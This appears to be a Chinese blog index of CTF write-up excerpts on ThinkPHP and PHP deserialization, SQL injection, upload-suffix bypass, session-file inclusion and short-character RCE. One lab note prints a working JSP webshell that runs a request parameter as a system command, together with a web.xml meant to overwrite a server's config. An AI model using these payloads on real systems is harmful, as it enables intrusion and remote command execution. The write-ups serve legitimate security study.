2023 强网杯 thinkshop[ping]

分析完这题,时隔一年又让我想起这句话…… thinkshop 拿到手是一个.tar文件,而且用的是amd64打包的,m1折腾了好久也没搞好debug = = debug只能本地起一个服务 构建好容器后直接把html下的附件拉下来后先访问。可以发现是个thinkphp 5.0.23搭建的商店(版本号随便打个404就能发现) 进去后什么都没有,所以分析一下入口代码。发现首页html在html/application/index/view/index/index.html 在controller目录下又找到Index.php 这里的assign是在html中注册一个变量的意思。这样就能在html里用类似下面这样的方法调用php里的变量。这种方法就是php模板 一样在view目录下,发现admin里有一个login.html,所以应该是有登陆入口。看一下路径 现在的访问路径是http://127.0.0.1:36000/public/index.php/index/index/index,所以猜测是http://127.0.0.1:36000/public/index.php/index/admin/login.html。成功访问 根据代码分析可以发现,post数据交给了一个叫do_login的地方,搜索一下 跟进找到Admin.php里 想办法看能不能登陆。这里主要是要看$adminData是怎么处理的。可以看到查找了admin表,并用cache函数尝试通过缓存获取。这里因为我们有容器,所以进到容器里看一下admin表 查一下这个被md5的密码可以得到123456。但此时如果直接拿admin和123456去登陆会发现提示错误,主要问题就在于后面这个很容易被忽略的find函数 可以看到,这个find函数直接拿post进来的用户名去find,这里可以搜一thinkphp里的下find方法 可以发现,当find里是个字符串时,会将其当作主键进行查询。一般就是第一个字段,也就是id字段,而admin显然是在username字段,因此没法查到,所以才会登陆失败。所以这里要用username=1&password=123456进行登陆 登陆进来后发现有几个操作,先进入修改看看 商品信息应该是markdown格式,可以看一下代码 在goods_edit.html里发现index/admin/do_edit 根据刚刚的经验,跟进到do_edit函数 可以发现所有修改的数据都会被这个函数处理。我们先回到html看一下。发现这个地方有一个反序化的点,在进入这个页面时会显示数据库里存放的markdown内容,就是这样调出来的 或者在首页的商品详情页面也能看到类似的反序列化调用点 搜一下可以发现thinkphp5.0.24存在反序化漏洞,5.0.23可用(点这里查看,更详细分析可以看这里) 所以接下来就是想办法修改数据库的内容从而利用这个反序列化点。 不过先不着急,返回去先看一下首页还没有看的添加功能。这里我们直接看Admin.php里的操作函数就行 先来看看do_add 首先$data可控,因为反序列化的点只对$goods[‘data’]进行,所以我们只看’data’键的操作。 在第131行可以看到直接对’data’键的值进行了序列化,我们如果在这里传入payload后存入数据库是被事先序列化一遍的,并且如果我在post时试图插入一个新的键值对,他也不会写入到goods里。显然这里不可控。 回到刚刚的edit里,发现所有post进来的东西都会被丢到saveGoods函数,跟进 可以发现这里一样是对’data’键进行事先序列化,但是到目前为止整个过程还并没有对变量$data(需要注意是变量$data而不是键’data’)的其他键值进行处理,也就是说如果我在这里插入一个键值对,是可以正常传进save函数的。我们继续跟进save 一样,整个$data进入到updatedata函数,跟进 发现直接把传进来的所有$data变量里的键都存到数据库里,并且不存在过滤,所以这里我们直接构造payload如下,尝试修改数据库 data` = 111 where id = 1# 丢到cyberchef里编码一下就开打。 但是发现直接说商品更新失败了,而且sql数据库里也没有变化 说明写入失败了。看了一下网上几篇wp说是rtrim会把空格干掉 但查询后发现rtrim函数的作用是去除末尾的空格,即便指定了第二个参数也是末尾。而且根据updatedata函数的逻辑,这里的rtrim主要目的是为了删掉sql语句中最后一个多出来的逗号,这样才能写入数据库 ...

November 19, 2024 · 3 min · Red

2024 强网杯 password game | Writeup

proxy那题是队友写的我就不记录了,不知道他后面会不会更新:https://blog.hayneschen.top/ 主要想记录password game这题 不听php课的每个人都会受到应有的惩罚 前面的游戏过程很简单,直接从拿到源码开始看 function filter($password){ $filter_arr = array("admin","2024qwb"); $filter = '/'.implode("|",$filter_arr).'/i'; return preg_replace($filter,"nonono",$password); } class guest{ public $username; public $value; public function __tostring(){ if($this->username=="guest"){ $value(); } return $this->username; } public function __call($key,$value){ if($this->username==md5($GLOBALS["flag"])){ echo $GLOBALS["flag"]; } } } class root{ public $username; public $value; public function __get($key){ if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){ $this->value = $GLOBALS["flag"]; echo md5("hello:".$this->value); } } } class user{ public $username; public $password; public function __invoke(){ $this->username=md5($GLOBALS["flag"]); return $this->password->guess(); } public function __destruct(){ if(strpos($this->username, "admin") == 0 ){ echo "hello".$this->username; } } } $user=unserialize(filter($_POST['password'])); if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){ echo "hello!"; } 比赛的时候乍一看感觉挺懵的,和传统的反序化掉用都不太一样,这里先不管反序化时的filter,先来看一下类 ...

November 5, 2024 · 1 min · Red

[靶场笔记]第二十二章

web.xml相关知识 直接来看看下面这个示例 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <welcome-file-list> <welcome-file>index.html</welcome-file> </welcome-file-list> <!-- 配置默认servlet来处理静态资源 --> <servlet-mapping> <servlet-name>default</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <servlet> <servlet-name>jsp</servlet-name> <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> </servlet> <!-- JSP Servlet 映射 --> <servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern> <url-pattern>*.xml</url-pattern> </servlet-mapping> </web-app> 第一个<servlet-mapping>里用来处理静态资源,指定根路径是/,没什么好说的。 <servlet>用来定义一个名叫jsp的类似变量一样的东西,然后处理请求的方式交由org.apache.jasper.servlet.JspServlet判断 第二个中,当访问例如诸如.jsp等在<url-pattern>定义的文件路径后,将会交由上述<servlet>中对应的“变量名”(这里就是jsp)进行处理,也就是交由org.apache.jasper.servlet.JspServlet判断 这段web.xml可以被拿来直接使用,如果有路径穿越或文件上传的漏洞可以被用来替换到服务本身的WEB-INF/web.xml,搭配下面的jsp小马即可上线 jsp小马 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 请求:http://x.x.x.x/cmd.jsp??pwd=023&i=whoami information_schema.tables绕过 可以用sys.schema_table_statistics_with_buffer来替换,效果是一样的 另外提一嘴题外话,如果发现or或者and等测试句没反应,有可能是服务故意为之,此时就要考虑是不是有关键字或者空格之类的被ban掉了,空格可以用%09等代替 throw new异常抛出绕过(GC绕过) 如果碰到下面这种情况 class FileHandler { ... ... public function __destruct() { if (file_exists($this->fileName) &&!empty($this->fileHandle)) { fclose($this->fileHandle); echo "File closed: {$this->fileName}\n"; } } } ... ... if(isset($_GET['exp'])) { if(preg_match('/<\?php/i',$_GET['exp'])){ exit; } $exp = unserialize($_GET['exp']); throw new Exception("Test!"); } 如果你想利用这里的destruct作为触发点,会因为有一个throw new而无法触发(异常肯定优先于php执行完整个反序化过程)。因此可以参考使用GC回收机制进行绕过,进而强行在throw new之前触发destruct。 ...

November 1, 2024 · 1 min · Red

[靶场笔记]第二十一章

HTTP请求走私 在下面代码中 if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local': return jsonify({ 'message': f'{app.config["FLAG"]}' }), 200 当X-Forwarded-Host属性的值为dev.apacheblaze.local时即可获得flag XFH属性的作用就是查看用户在向反向代理服务器请求时Host携带的域名 但直接修改后并没有效果,如果此时web服务器又恰好是apache,就可以考虑用CVE 2023 25690,详细用法可以参考这里 PHP session临时文件 当php生成session的同时,会在/tmp目录下生成一个带sessionID(也就是cookie里的PHPSESSION)的临时文件。如果此时有文件包含,就可以利用这点进行getshell 例如,获得到的sessionID是114514,那么临时文件路径就是/tmp/sess_114514 字符限制 写题的时候碰到了个6字符限制,也解锁了一种很新奇的rce手法,下面就记录一下这种6字符绕过的手段 >ls #写入一个名为ls的文件 * /*>1 #第一个星号的含义是特定路径下的文件。也就是说如果特定路径下只有上一行写入的那个文件,那么就能把文件名当成命令执行 要注意这里的“特定路径”。因为如果是放index.php的路径就会失败,必须是一个专门写文件的路径。 另外,不止6字符可以绕过,5字符4字符也都能绕:https://blog.csdn.net/q20010619/article/details/109206728 JWT中的RS256碰撞 打网鼎杯碰到的一个神奇的方法,可以用两个不同的jwt_token通过工具rsa_sign2n获得RSA公钥,然后再通过RsactfTools破解出私钥(好像是利用了某个CVE吧….赛后wp出来前还被队友吐槽怎么可能用公钥生成私钥XD 操作案例可以看这篇wp 后缀绕过 如果代码中的后缀检测和文件上传方式是类似下面这样 $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) { return false; } ... ... $target_file=$name move_uploaded_file($file['tmp_name'], $target_file) 就可以通过shell.php/.这样的方式绕过。这是因为在pathinfo中会将这句payload解析成空后缀,从而不会而在move_uploaded_file则会自动将/后的.去掉,从而保存shell.php文件 Smarty模板注入 各种注入方法这里讲解得更丰富一点:https://xz.aliyun.com/t/11108?time__1311=Cq0x2DgD0Q3xlEzIx7KaPiqiKPAIjQDkeveD 我主要记录一些有关smarty模板的小知识 在上面博客里讲到用下面这种方法进行命令执行 如果直接放在一个需要渲染的html里,这里的eval其实是可以省略的。具体可以看下面smarty文档的解释 这里的eval其实和string是差不多意思,只是string会创建一个临时文件再执行这个文件后返回结果(不知道这里会不会有关于string的安全问题,毕竟会写文件),而eval则是直接执行data里给的东西 也就是说当注入环境如下时,你的payload就必须要加上个eval来指明你输入的东西是要马上执行而不需要创建一个文件。 但如果是分开的,比如下面这样 controllers/FileController.php.php ...

October 31, 2024 · 1 min · Red

2024 TKKCTF Beginner | WriteUp

学CTF要做到不会的**多搜**,碰到不会的或者没见过的名词和工具,都能在网路上找到详细的解释和教程,不会一个搜一个。多去尝试自己解决遇到的问题,所有的答案都藏在你曾经也许看都不想看的代码、报错和技术文章里,加油 Misc 你好,CTF! flag就在pdf末尾,不解释 阿娜达瓦~ 使用gif逐帧播放可以发现二维码 扫描后即可得到flag 这是什么? 在cyberchef中先解base32再解base64即可 佛说:只能四天🙏 根据提示搜索与佛论禅在线解密工具 但发现无法解密,需要输入一个密码,回到题目描述注意到这一串内容 输入即可解开 引导题 尝试复制后发现需要密码 本题解法不唯一,这里介绍两种。 方法一:搜索在线解锁工具 解锁后即可直接复制被遮盖的内容。放到cyberchef里梭哈base64即可 方法二:如果你是macOS用户,右键搜索即可,不要点拷贝 一样放到base64解码即可 小泽 下载图片后使用010editor或者文本编辑器均可,拉到最下面就能发现flag Up and Down 将文件下载下来后,可以找到在线工具将文件二进制进行反转,下面我演示linux命令的方式进行反转 一行命令即可,本意就是反转文件二进制数据。将输出的图片打开后即可得到flag RFID 比赛原题,直接放网上的wp https://blog.mo60.cn/index.php/archives/2023-fjss.html 乱乱的字符 统计每个字符出现的频率,可以拼出个大概flag。但可以发现有两个字符出现的频率都是7次,也就是A和i。此时回到题目提示 猜测是AsCii这个单词,而且这样排序的话正好两个i的出现频率加起来就是7次,符合条件,因此flag就是 xujc{Ukn0w_AsCii~} void null() {}、Chiikawa https://x.xn–q9jyb4c/p/ctf-record-w0w/ sharkshark 安装wireshark即可打开pcapng格式的流量包,ctrl+f4可以调出搜索框,选择分组字节流+字符串多次 搜索xujc,可以在一堆假flag中找到flag24.txt为trueFlag 好痛 010打开后再中间发现mp3的模板结束了,可以发现后面是zip文件头 手工分离出来,分离时再尾部还可以发现一个key (原本作者是让做题人根据歌名来猜key,被骂了改附件了qwq) 解压压缩包后那首歌是使用MP3Stego来解码因为歌名奇怪,作者建议先改成1.mp3,然后 在cmd使用 Decode -X -P love 1.mp3 就能得到flag ...

October 23, 2024 · 7 min · Red